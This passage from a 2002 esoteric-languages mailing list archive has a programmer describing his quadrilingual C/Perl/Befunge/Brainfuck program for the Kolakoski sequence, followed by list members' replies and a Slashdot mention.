    for( $ i = 2; $ i <= atoi( $ ARGV[3] ) ; $ i++ ) {
      $ tab[ $ offset ] -= 1;
      if ( $ tab[ $ offset ] == 0 ) {
        $ offset++;
        $ which = ( ! ( -- $ which ) ) + 1;
      }
      printf("%d", $ tab[ $ i ] = atoi( $ ARGV[ $ which ] ) );
    }
    printf("\n");
  }

This way, you can take this file, and treat it like this:
  $ perl kola.pl <nb1> <nb2> <count>

or:
  $ gcc kola.c -o kola
  $ ./kola <nb1> <nb2> <count3>

I was pretty satisfied, but in fact, I realized that this wasn't too
much a work since another guy made such a program for a past tournament (even 
if this problem was a little bit trickier). That's why I didn't submit it.

But I was in my weird-mood. As a Befunge fan, I thought it would be
fun to propose a Befunge version of the program. Once said, I ran into
it. For those of you who don't know what Befunge is (on an Esoteric 
mailing-list? tsk tsk), it's a topological language on a 2D cartesian Lahey 
space. This simply means that in Befunge, you can move your instruction
pointer as you want: from left to right (as in other regular languages), from 
right to left, from top to bottom, from bottom to
top, and even in diagonal.

This allows us for a whole new _dimension_ in coding (and obfuscation
by the same way ;) ). In Befunge, every character is an instruction (you can
find the whole set of instructions at 
http://dufflebunk.iwarp.com/JSFunge/spec98.html), but I wrote a 
straight-forward implementation of the Kolakoski problem in Befunge:

2ep 1ep :0ep :0fp '0+,   v    > 2eg 1- : 2ep !#v_ 4eg : fg 1- \ fp 4eg fg #v 
_  3eg ! 3ep 4eg 1+ 4ep v
                  v pe30 <                     a
                  > 04ep 05ep ^ pf pe5 :+1 ge5 ,              +0' : ge ge3 <  
                       <
                                               q

(Warning, the number of spaces is important, since if the columns are
not aligned, you break the instruction flow!)

I was pretty much happy with this. In fact, I was so happy, I wanted
to submit it to the refs. But the refs needed a Perl solution!
Dilemma? Not really, since I wrote a Perl Inline::Befunge module. I just
needed to wrap my Befunge solution, like this:

  #!perl
  use Inline Befunge => <<'END_OF_CODE';
  v;alok:;
  > 2ep 1ep :0ep :0fp '0+,   v    > 2eg 1- : 2ep !#v_ 4eg : fg 1- \ fp 4eg fg 
#v _  3eg ! 3ep 4eg 1+ 4ep v
                      v pe30 <                     a
                      > 04ep 05ep ^ pf pe5 :+1 ge5 ,              +0' : ge 
ge3 <                         <
                                                   q
  END_OF_CODE
  kola(@ARGV);


I tried it, and it worked. But as I was submitting it, I realized that
Inline::Befunge is not a standard module of Perl (ie, included with the 
core), and the refs will reject it since the contest only allows standard 
modules... Uh, I was desperate!

Then, _the_ big idea: what about including the Befunge solution in my
bilingual solution, making it a _trilingual_ solution? That was really
a _terrific_ idea!

And it wasn't such a difficult idea: I only needed to include it in a
C / Perl comment, and move my instruction pointer at the beginning of
the Befunge code. The tricky part is to move the instruction pointer
before doing anything.

To understand what's going on, please remember that in Befunge, every
character is an instruction. Another important rule is: "if the
instruction pointer encounter an unknown instruction (an unknown
character), then the velocity (the direction in which the instruction
pointer moves) is reversed". That is, if running from left to right,
it will go from right to left, and vice-versa. Idem for other
velocities (vertical and diagonal). The last important rule is that
the instruction pointer begins at the top-left corner (coordinates
(0,0)) with a velocity of (1,0) (ie, from left to right).

All I have to do now, is to write a line at the top of my file
(remember, Befunge starts at (0,0)), with valid Befunge instructions
(otherwise the direction would be changed). This line should be
ignored by both C and Perl.
The solution was to include a preprocessor line, followed by a C
comment, such as the one we saw earlier.

I could use #ifdef or #ifndef, but those would force me to close the
comments with #endif, which I did not want. I could use #define, but the "i" 
instruction (remember, all Befunge instructions are characters) will try to
include a file which name is on the stack (Befunge is a stack based 
language), and if the file does not exist, the instruction pointer's
velocity would be reversed...
Damn, #define was not a good choice. Then I thought about
#include. You'll say that we run in the same problem, because of the
"i". In fact, we're not, since the "#" instruction (yes, "#" is a
valid Befunge instruction) makes Befunge skip the next instruction. So
"#include" is in fact understood as "nclude" by Befunge. This seems
pretty interesting, but alas! the "u" instruction allows us to play
with the stacks stack (we can have a stack of stacks in Befunge-98),
and if there's only one stack defined (and we create stacks with the
"{" instruction), then "u" will reverse the velocity...
Argh, we don't have much choice left... Must I find another way of
doing it? No, because #undef is there! "#" will cause the "u"
instruction to be skipped, and ndef only play with the stack. Hurrah!
:)

I just need to insert the following:

  #undef fff /* n Befunge code goes here...

I had to choose the indentifier to be undef carefully, in order for
Befunge to work the way I want. That's why capital letters were
forbidden. / and * are valid instructions who perform multiplication
and division (with values popped from the stack). The only thing I
need is to add a "n" in order to clear the stack. And my Befunge
code inserted after runs very smoothly, great!

I just reformatted the Befunge part, taking advantage of the facility
to play with the velocity, in order to present a code fitting in 80
columns.

I proposed my trilingual solution to the refs:

  #undef fff /* n a9+y >#v_ 0> \ :   #v_ $ :0ep :0fp '0+, v
  "                    ^ < ^+-0'\*a\< >\a*\'0-+v
  ve50pe40pe30 pe2 $ _v# ! : \ < 0    pe1 $ _^# ! : \ < 0 <
  p                   >\a*\'0-+^
  > 2eg 1- : 2ep !#v_ 4eg : fg 1- \ fp 4eg fg #v _  3eg ! 3ep 4eg 1+ 4ep v
                   a
  ^ pf pe5 :+1 ge5 ,              +0' : ge ge3 < <
                   q
  */ //";
  #include <stdio.h>
  #define ARGV argv
  #define $ /*
  unshift @ARGV, "foo";
  sub atoi{ $_[0] }
  "*/
  main (int argc, char *argv[]) //";
  {
    int $ tab[atoi( $ ARGV[3])];
    int $ i;
    int $ which, $ offset;
    $ which = $ offset = 1;
    $ tab [1] = atoi( $ ARGV[ $ which ] );
    printf("%d", $ tab[1]);
    for( $ i = 2; $ i <= atoi( $ ARGV[3] ) ; $ i++ ) {
      $ tab[ $ offset ] -= 1;
      if ( $ tab[ $ offset ] == 0 ) {
        $ offset++;
        $ which = ( ! ( -- $ which ) ) + 1;
      }
      printf("%d", $ tab[ $ i ] = atoi( $ ARGV[ $ which ] ) );
    }
    printf("\n");
  }

This solution can now be interpreted with a Befunge-98 compliant
interpreter (such as the one I provide with Language::Befunge), and
run with:
  $ jqbf98 kola.bf <nb1> <nb2> <count>


Then, one of the referee sent me a mail, telling me how excited he was about 
this solution, and that I'll receive an O'Reilly book if I can add a
Malbolge version...

But Malbolge was really too hard to play with. I won't tell you what Malbolge 
is, and how hard it is to write a program with it... I then forgot this idea, 
but I thought within myself: what a great idea if I could provide a 
_quadrilingual_ working solution!

I went then on BrainFuck. BrainFuck is a minimalist language (it only
recognizes eight instructions!), but is said to be Turing-complete. I
knew the theory about it, but never programmed with it before. I
decided to try it.

I won't tell you how hard it was to provide a working solution of
Kolakoski. BrainFuck is a nasty language. Really. I'll just talk about
two problems I had to deal with.

First, BrainFuck does not allow command line arguments. I had to add a
minor tweak in order to allow this: I simply decided to prompt for the
args. This wasn't really too much trouble, since one can pipe the args
with echo:
  $ echo <arg> | aidbf kola.bfk

(aidbf being a BrainFuck interpreter available at
http://ailis.de/~k/projects/aidbf/aidbf-0.1.tar.gz)

But in fact, since prompting is done character by character in
BrainFuck, I had to prompt 5 times: one for the first digit, one for
the second, and three for the number of digits to display. I had to
prompt three times for the last argument, since it could range from 0
to 500. But, since I prompt three times, user has to enter a
properly-formatted number on three digits. That is, if the user wants
only 8 digits, he'll have to enter 008.

Last thing about this minor tweak: since one prompt eats one
character, you'll have to concatenate arguments (ie, no space
allowed). That is, for the 20 first digits of the Kolakoski number
made of 1 and 3, you'll need to issue the following command:

  $ echo 13020 | aidbf kola.bfk

It wasn't such a big deal, and I thought the overall meaning of the
program would stay the same.


This was the first problem I had to deal with. The second one was
more, erm, challenging. In BrainFuck, you can only work with numbers
ranging from 0 to 255 (ie, stored on a byte). Imagine how surprised I
was, when I realized that I had to deal with numbers up to 500! I
won't go in gory details, but I solved this problem by using three
bytes, one for each power of ten, and then combined them into two
bytes, and then playing and transferring tens to units and such
dirty^Wfunny things like this.

Finally, I got my BrainFuck version. Here it is (presented as a
rectangle, it's way more impressive like this ;) ):

  >>>,------------------------------------------------[>+>>>>>
  >+>+<<<<<<<<-]>>,-------------------------------------------
  ----->+>>>>>++++++++++++++++++++++++++++++++++++++++++++++++
  .------------------------------------------------->+<[>-<[>>
  +<<-]]>[-<<<<<+<-<[<<+>>-]<<[>>+>>>>>>>>+<<<<<<<<<<-]>>>>>>>
  >>>[>+>+<<-]>[<+>-]<-<]>[<<+>>-]<<<<<<<<<<<<<,--------------
  ---------------------------------->,------------------------
  ------------------------>,----------------------------------
  --------------<<[>++++++++++<-]>>>>>>>>+<<<<<<[[>+<-]>>>>>>-
  <<<<<<]>[<+>-]>>>>>[-<<<<<<++++++++++<->>>>>>>]<<<<<<-<<>[>>
  +<<-]>>[<<+<+>>>-]<<<[[-]>->++++++++++<<]>>[<<+>>-]<<[>>+>+<
  <<-]>>>[[-]<<<>>>>>>>>>>>>>>>[++++++++++++++++++++++++++++++
  ++++++++++++++++++.<<<<<<<<<<<<<->>>>>>>>>>>>>[-]]<<<<<<<<<<
  <<<<<>+[->[->>>>>>>>[>]>[>]+[<]<[<]<<<[->>>+<<<<<[<+>-]<[>+>
  >>>+<<<<<-]>>>]>>>[<<<+>>>-]<<[->>+<<<<[<<+>>-]<<[>>+>>>+<<<
  <<-]>>>>]>>[<<+>>-]<[>>[>]>[>]<+[<]<[<]<-]>>[>]>[>]<++++++++
  +++++++++++++++++++++++++++++++++++++++.--------------------
  ----------------------------[<]<[<]<+>>[>]<-[[>+<-]<<[<]<->>
  [>]]>[<+>-]<<[<]<[<<<<<+>>>>>-]<<<<<[->>>[->>>+<<<]>[->+<]>[
  <<+>>-]>[<<+>>-]>[>]+>>[<+>-]<[<]<<<<<<]<]++++++++++<][-]<]+
  +++++++++.

(if you _really_ want a more described version of the BrainFuck
script, just ask)

Now, all I needed was to include it in my trilingual solution...

In fact, it was really easy. Remember that my program begins with a
#undef then the Befunge code. BrainFuck will superbly ignore all the
chars that are not valid BrainFuck instructions (and BrainFuck only
recognizes the characters [ ] < > + - , . ). So far, so good. I just
need to move the Befunge instruction pointer elsewhere. 

Let me present you the "v" instruction in Befunge, which makes Befunge
read the flow from top to bottom. I just need to include a v and get
back the instruction pointer later. Something like this:

  #undef fff /*v>>>,------------------------------------------
  "------[>+>>> >>>+>+<<<<<<<<-]>>,---------------------------
  ------------- -------->+>>>>>+++++++++++++++++++++++++++++++
  +++++++++++++ ++++.-----------------------------------------
  -------->+<[> -<[>>+<<-]]>[-<<<<<+<-<[<<+>>-]<<[>>+>>>>>>>>+
  <<<<<<<<<<-]> >>>>>>>>>[>+>+<<-]>[<+>-]<-<]>[<<+>>-]<<<<<<<<
  <<<<<,------- ----------------------------------------->,---
  ------------- -------------------------------->,------------
  ------------- -----------------------<<[>++++++++++<-]>>>>>>
  >>+<<<<<<[[>+ <-]>>>>>>-<<<<<<]>[<+>-]>>>>>[-<<<<<<+++++++++
  +<->>>>>>>]<< <<<<-<<>[>>+<<-]>>[<<+<+>>>-]<<<[[-]>->+++++++
  +++<<]>>[<<+> >-]<<[>>+>+<<<-]>>>[[-]<<<>>>>>>>>>>>>>>>[++++
  +++++++++++++ +++++++++++++++++++++++++++++++.<<<<<<<<<<<<<-
  >>>>>>>>>>>>> [-]]<<<<<<<<<<<<<<<>+[->[->>>>>>>>[>]>[>]+[<]<
  [<]<<<[->>>+< <<<<[<+>-]<[>+>>>>+<<<<<-]>>>]>>>[<<<+>>>-]<<[
  ->>+<<<<[<<+> >-]<<[>>+>>>+<<<<<-]>>>>]>>[<<+>>-]<[>>[>]>[>]
  <+[<]<[<]<-]> >[>]>[>]<+++++++++++++++++++++++++++++++++++++
  ++++++++++.-- ----------------------------------------------
  [<]<[<]<+>>[> ]<-[[>+<-]<<[<]<->>[>]]>[<+>-]<<[<]<[<<<<<+>>>
  >>-]<<<<<[->> >[->>>+<<<]>[->+<]>[<<+>>-]>[<<+>>-]>[>]+>>[<+
  >-]<[<]<<<<<< ]<]++++++++++<][-]<]++++++++++.
               > n Befunge code goes here
  
Btw, I'm sure you've understood (or you knew) that the ">" instruction in 
Befunge makes the instruction pointer in Befunge move from left to
right... That's how we put our instruction pointer back on the right
path.

Note the empty column under the v. This way, Befunge can find its way
down to the ">". We are to leave this empty column since >, <, [ and ]
change the instruction pointer velocity. The "." and "," both outputs
something in Befunge, and we don't want to mess with output, do we?
But we can leave the + and - in the column, because they will just
diddle the stack, and since we perform a "n" (clear stack) instruction
before the Befunge code... So, we can be a little more obfuscated with
the following:

  #undef fff /*v>> >,-----------------------------------------
  "-------[>+>> >>>>+>+<<<<<<<<-]>>,--------------------------
  ---------------------->+>>>>>+++++++++++++++++++++++++++++++
  +++++++++++++++++.------------------------------------------
  ------->+<[>- <[>>+<<-]]>[-<<<<<+<-<[<<+>>-]<<[>>+>>>>>>>>+<
  <<<<<<<<<-]>> >>>>>>>>[>+>+<<-]>[<+>-]<-<]>[<<+>>-]<<<<<<<<<
  <<<<,------------------------------------------------>,-----
  ------------------------------------------->,---------------
  ---------------------------------<<[>++++++++++<-]>>>>>>>>+<
  <<<<<[[>+<-]> >>>>>-<<<<<<]>[<+>-]>>>>>[-<<<<<<++++++++++<->
  >>>>>>]<<<<<<-<<>[>>+<<-]>>[<<+<+>>>-]<<<[[-]>->++++++++++<<
  ]>>[<<+>>-]<< [>>+>+<<<-]>>>[[-]<<<>>>>>>>>>>>>>>>[+++++++++
  +++++++++++++++++++++++++++++++++++++++.<<<<<<<<<<<<<->>>>>>
  >>>>>>>[-]]<< <<<<<<<<<<<<<>+[->[->>>>>>>>[>]>[>]+[<]<[<]<<<
  [->>>+<<<<<[<+>-]<[>+>>>>+<<<<<-]>>>]>>>[<<<+>>>-]<<[->>+<<<
  <[<<+>>-]<<[> >+>>>+<<<<<-]>>>>]>>[<<+>>-]<[>>[>]>[>]<+[<]<[
  <]<-]>>[>]>[> ]<++++++++++++++++++++++++++++++++++++++++++++
  +++.------------------------------------------------[<]<[<]<
  +>>[>]<-[[>+<-]<<[<]<->>[>]]>[<+>-]<<[<]<[<<<<<+>>>>>-]<<<<<
  [->>>[->>>+<< <]>[->+<]>[<<+>>-]>[<<+>>-]>[>]+>>[<+>-]<[<]<<
  <<<<]<]++++++n++++<][-]<]++++++++++.
               > Befunge code goes here

And here we are. Note how the n is included in the BrainFuck code. In
fact, I could have included more Befunge code in the BrainFuck one
(and vice-versa), but I was a bit tired, so I decided to let it this
way.

I went to test it, and... it failed!  The BrainFuck version
failed... It waited forever...
In fact, it was obvious, since I was using chars that were valid
BrainFuck instructions _after_ the "main" BrainFuck program. But
BrainFuck does not understand what is a main program. The interpreter
slurps the whole file, discarding the non-valid chars. So it kept all
the instructions that came after...

I was desperate. And even more hopeless because BrainFuck does not
understand comments. Well, in fact, it understands comments:
everything that is not an instruction is a comment. But, there's no
way to _hide_ a valid instruction. What to do, my friends...

Then, the magic idea: I'll just write a loop that BrainFuck won't
enter, and hide the offending instructions in it! Once I had this cool
idea, it was very simple to implement it:

  [-] to zero the current cell (urkl, that's... that's BrainFuck ;) )
  [   enter a while loop if the current cell is non-zero

Easy, isn't it? Since we just zeroed the current cell, we don't enter
the while loop... But, we still need to close the loop (with a ]
instruction). Piece of cake, we just need to add the following at the
end of the code:

  #define BLAHBLAH /* ] */

And that's all folks! Here's the final quadrilingual version of the
Kolakoski problem:

  #undef fff /*v>> >,-----------------------------------------
  "-------[>+>> >>>>+>+<<<<<<<<-]>>,--------------------------
  ---------------------->+>>>>>+++++++++++++++++++++++++++++++
  +++++++++++++++++.------------------------------------------
  ------->+<[>- <[>>+<<-]]>[-<<<<<+<-<[<<+>>-]<<[>>+>>>>>>>>+<
  <<<<<<<<<-]>> >>>>>>>>[>+>+<<-]>[<+>-]<-<]>[<<+>>-]<<<<<<<<<
  <<<<,------------------------------------------------>,-----
  ------------------------------------------->,---------------
  ---------------------------------<<[>++++++++++<-]>>>>>>>>+<
  <<<<<[[>+<-]> >>>>>-<<<<<<]>[<+>-]>>>>>[-<<<<<<++++++++++<->
  >>>>>>]<<<<<<-<<>[>>+<<-]>>[<<+<+>>>-]<<<[[-]>->++++++++++<<
  ]>>[<<+>>-]<< [>>+>+<<<-]>>>[[-]<<<>>>>>>>>>>>>>>>[+++++++++
  +++++++++++++++++++++++++++++++++++++++.<<<<<<<<<<<<<->>>>>>
  >>>>>>>[-]]<< <<<<<<<<<<<<<>+[->[->>>>>>>>[>]>[>]+[<]<[<]<<<
  [->>>+<<<<<[<+>-]<[>+>>>>+<<<<<-]>>>]>>>[<<<+>>>-]<<[->>+<<<
  <[<<+>>-]<<[> >+>>>+<<<<<-]>>>>]>>[<<+>>-]<[>>[>]>[>]<+[<]<[
  <]<-]>>[>]>[> ]<++++++++++++++++++++++++++++++++++++++++++++
  +++.------------------------------------------------[<]<[<]<
  +>>[>]<-[[>+<-]<<[<]<->>[>]]>[<+>-]<<[<]<[<<<<<+>>>>>-]<<<<<
  [->>>[->>>+<< <]>[->+<]>[<<+>>-]>[<<+>>-]>[>]+>>[<+>-]<[<]<<
  <<<<]<]++++++n++++<][-]<]++++++++++.[-][
               >  a9+y >#v_ 0> \ :   #v_ $ :0ep :0fp '0+, v
                       ^ <   ^+-0'\*a\<      >\a*\'0-+v
  ve50pe40pe30 pe2 $ _v# ! : \ < 0    pe1 $ _^# ! : \ < 0 <
  p                   >\a*\'0-+^
  > 2eg 1- : 2ep !#v_ 4eg : fg 1- \ fp 4eg fg #v _  3eg ! 3ep 4eg 1+ 4ep v
                   a
  ^ pf pe5 :+1 ge5 ,              +0' : ge ge3 <                         <
                   q
  */ //";
  #include <stdio.h>
  #include <stdlib.h>
  #define ARGV argv
  #define $ /*
  unshift @ARGV, "foo";
  sub atoi{ $_[0] }
  "*/
  main (int argc, char *argv[]) //";
  {
    int $ tab[atoi( $ ARGV[3])];
    int $ i;
    int $ which, $ offset;
    $ which = $ offset = 1;
    $ tab [1] = atoi( $ ARGV[ $ which ] );
    printf("%d", $ tab[1]);
    for( $ i = 2; $ i <= atoi( $ ARGV[3] ) ; $ i++ ) {
      $ tab[ $ offset ] -= 1;
      if ( $ tab[ $ offset ] == 0 ) {
        $ offset++;
        $ which = ( ! ( -- $ which ) ) + 1;
      }
      printf("%d", $ tab[ $ i ] = atoi( $ ARGV[ $ which ] ) );
    }
    printf("\n");
  }
  #define BLAHBLAH /* ] */


Now, we can interpret the file as yet another language:
  $echo <nb1><nb2><count> | aidbf kola.bfk

Remember that the args are concatenated, and that count is zero padded
on the left.


Needless to say, I also provided a quadrilingual solution for Cantor, the 
other problem of the tournament. Globally I used the same hacks. There are a 
few minor differences, such as I'm using the wrap facility of Befunge (if the
instruction pointer goes out of bound on the top of the file, it comes back 
from the bottom) in order to include the Befunge code at the _end_ of the 
file. I also changed the way I'm handling atoi between C and Perl, via a big 
eval, after modifying the code to be eval'ed, but it's not that much 
different.


Moral of the story: writing a multilingual solution of a problem isn't _that_ 
difficult, if you choose your languages carefully. You are to choose 
languages which don't have the same set of comments. In fact, the difficult 
part was to write the solutions in the esoteric languages. The BrainFuck 
version caused me the most problems. In fact, I think that BrainFuck is fun, 
but boring. On the other hand, Befunge is fun, and really fun to program with.

Moral of the story (bis): since this month, Perl Golf is sponsored by 
O'Reilly. They offer a book of his/her chosing to the winner. Unfortunately, 
I finished second at the overall tournament (althought I provided the best 
Kolakoski Perl script). This means no book for me :-( But the referees were 
so impressed by my efforts that they decided to grant me a book for this. Who 
said esoteric languages were useless? ;-)


Cheers,
Jerome
-- 
jquelin@wanadoo.fr





From esoteric@oiva.sange.fi Thu May 09 14:19:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175lxN-000JZP-00; Thu, 09 May 2002 14:19:34 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 09 May 2002 14:19:27 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175lx1-000JZJ-00; Thu, 09 May 2002 14:19:12 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 09 May 2002 14:19:04 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175lws-000JZD-00
	for lang@esoteric.sange.fi; Thu, 09 May 2002 14:19:03 +0300
Received: from lennie (woc53-01-p147.wc.saix.net [155.239.129.147])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g49BIsR07967
	for <lang@esoteric.sange.fi>; Thu, 9 May 2002 13:18:56 +0200 (SAT)
Message-ID: <000501c1f74a$81a50240$9381ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com> <591580221237.20020508191754@frox25.dhs.org>
Subject: [lang] Re: A new language: Summer 2002
Date: Wed, 8 May 2002 19:30:14 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

O'No! I didn't got the original posting on this new language ! <g> 
Can you please post it to me, again.

Thank You! :)

Lennie De Villiers






From esoteric@oiva.sange.fi Thu May 09 15:40:26 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175nDS-000JpB-00; Thu, 09 May 2002 15:40:14 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 09 May 2002 15:40:08 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175nD0-000Jp2-00; Thu, 09 May 2002 15:39:46 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 09 May 2002 15:39:39 +0300 (EEST)
Received: from wells.tecc.co.uk ([195.217.37.90] helo=-f)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175nCs-000Jow-00
	for lang@esoteric.sange.fi; Thu, 09 May 2002 15:39:38 +0300
Received: from basingstoke.tecc.co.uk (basingstoke.tecc.co.uk [195.217.37.75])
	by -f (8.9.3+Sun/8.9.3) with ESMTP id NAA01288
	for <lang@esoteric.sange.fi>; Thu, 9 May 2002 13:39:33 +0100 (BST)
Date: Thu, 9 May 2002 13:39:33 +0100 (BST)
Message-Id: <200205091239.NAA01288@-f>
From: Mike Taylor <mike@tecc.co.uk>
To: lang@esoteric.sange.fi
In-reply-to: <3CD0C9A7003E6777@> (added by postmaster@wanadoo.fr) (message
	from Jerome Quelin on Thu, 9 May 2002 11:23:44 +0200)
Subject: [lang] Re: No matter the language, programming is fun! [long]
References:  <3CD0C9A7003E6777@> (added by postmaster@wanadoo.fr)
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
X-list: misc

> [birth of a quadrilingual progamme snipped]

Wonderful story, thanks for sharing it with us.  This deserves to be
more widely appreciated.  Why don't you put it up on a webpage and one
of us can send a ref. to Slashdot?

 _/|_	 _______________________________________________________________
/o ) \/  Mike Taylor   <mike@miketaylor.org.uk>   www.miketaylor.org.uk
)_v__/\  "In the soccer of the future, tackling must be banned
	 [...] We have to take this aggression out" -- FIFA general
	 secretary Sepp Blatter.  Scary, isn't it?






From esoteric@oiva.sange.fi Sun May 12 08:27:42 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176lsd-0004Rm-00; Sun, 12 May 2002 08:26:47 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 12 May 2002 08:26:40 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176lqI-0004Rd-00; Sun, 12 May 2002 08:24:22 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 12 May 2002 08:24:15 +0300 (EEST)
Received: from pegasus.azstarnet.com ([169.197.56.194] helo=cepheus.azstarnet.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176lqA-0004RX-00
	for lang@esoteric.sange.fi; Sun, 12 May 2002 08:24:14 +0300
Received: from andromeda (andromeda.azstarnet.com [169.197.53.210])
	by cepheus.azstarnet.com (8.9.3/8.9.3) with ESMTP id WAA17569
	for <lang@esoteric.sange.fi>; Sat, 11 May 2002 22:23:55 -0700 (MST)
X-Sent-via: StarNet http://www.azstarnet.com/
Date: Sat, 11 May 2002 22:23:55 -0700 (MST)
From: Jeff  Johnston <jeffryj@azstarnet.com>
X-X-Sender:  <jeffryj@andromeda>
To: <lang@esoteric.sange.fi>
Subject: [lang] [Slashdot] Quadrilingual Crazy Programming
In-Reply-To: <200205091239.NAA01288@-f>
Message-ID: <Pine.GSO.4.31.0205112218400.9569-100000@andromeda>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
X-list: misc

Just saw this on the front page of Slashdot.. heres a quote:

"Have you ever seen source code that is valid on four languages: Perl, C,
Befunge, and BrainF*ck?  During last Perlgolf season famoous Perl hacker
Jerome Quelin submit such inconceivable masterpiece..."

Neato :)

Jeff






From esoteric@oiva.sange.fi Sun May 12 10:10:11 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176nUT-0004dx-00; Sun, 12 May 2002 10:09:57 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 12 May 2002 10:09:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176nU2-0004dr-00; Sun, 12 May 2002 10:09:30 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 12 May 2002 10:09:23 +0300 (EEST)
Received: from anchor-post-31.mail.demon.net ([194.217.242.89])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176nTu-0004dl-00
	for lang@esoteric.sange.fi; Sun, 12 May 2002 10:09:22 +0300
Received: from eq1152.demon.co.uk ([158.152.22.92] helo=oemcomputer)
	by anchor-post-31.mail.demon.net with smtp (Exim 3.35 #1)
	id 176nTp-000Pj6-0V
	for lang@esoteric.sange.fi; Sun, 12 May 2002 08:09:17 +0100
Message-ID: <001401c1f983$ed6473e0$5c16989e@oemcomputer>
From: "Peter S Tillier" <petert@eq1152.demon.co.uk>
To: <lang@esoteric.sange.fi>
References: <Pine.GSO.4.31.0205112218400.9569-100000@andromeda>
Subject: [lang] Re: [Slashdot] Quadrilingual Crazy Programming
Date: Sun, 12 May 2002 08:09:13 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: petert@eq1152.demon.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: petert@eq1152.demon.co.uk
Precedence: bulk
X-list: misc

----- Original Message -----
From: "Jeff Johnston" <jeffryj@azstarnet.com>
To: <lang@esoteric.sange.fi>
Sent: Sunday, May 12, 2002 6:23 AM
Subject: [lang] [Slashdot] Quadrilingual Crazy Programming


> Just saw this on the front page of Slashdot.. heres a quote:
>
> "Have you ever seen source code that is valid on four languages: Perl,
C,
> Befunge, and BrainF*ck?  During last Perlgolf season famoous Perl
hacker
> Jerome Quelin submit such inconceivable masterpiece..."

It's hardly inconceivable if someone has done it.  Poor choice of syntax
and semantics by slahsdot methinks.

>
> Neato :)
>
> Jeff

--
Peter S Tillier
"Who needs perl when you can write dc and sokoban in sed?"
peter{dot}tillier<at>btinternet[dot]com
To reply direct to me please use the above address
not the "Reply To" which activates a spam trap.







From esoteric@oiva.sange.fi Sun May 12 22:23:57 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176ywN-0006eS-00; Sun, 12 May 2002 22:23:31 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 12 May 2002 22:23:24 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176yvP-0006eJ-00; Sun, 12 May 2002 22:22:31 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 12 May 2002 22:22:23 +0300 (EEST)
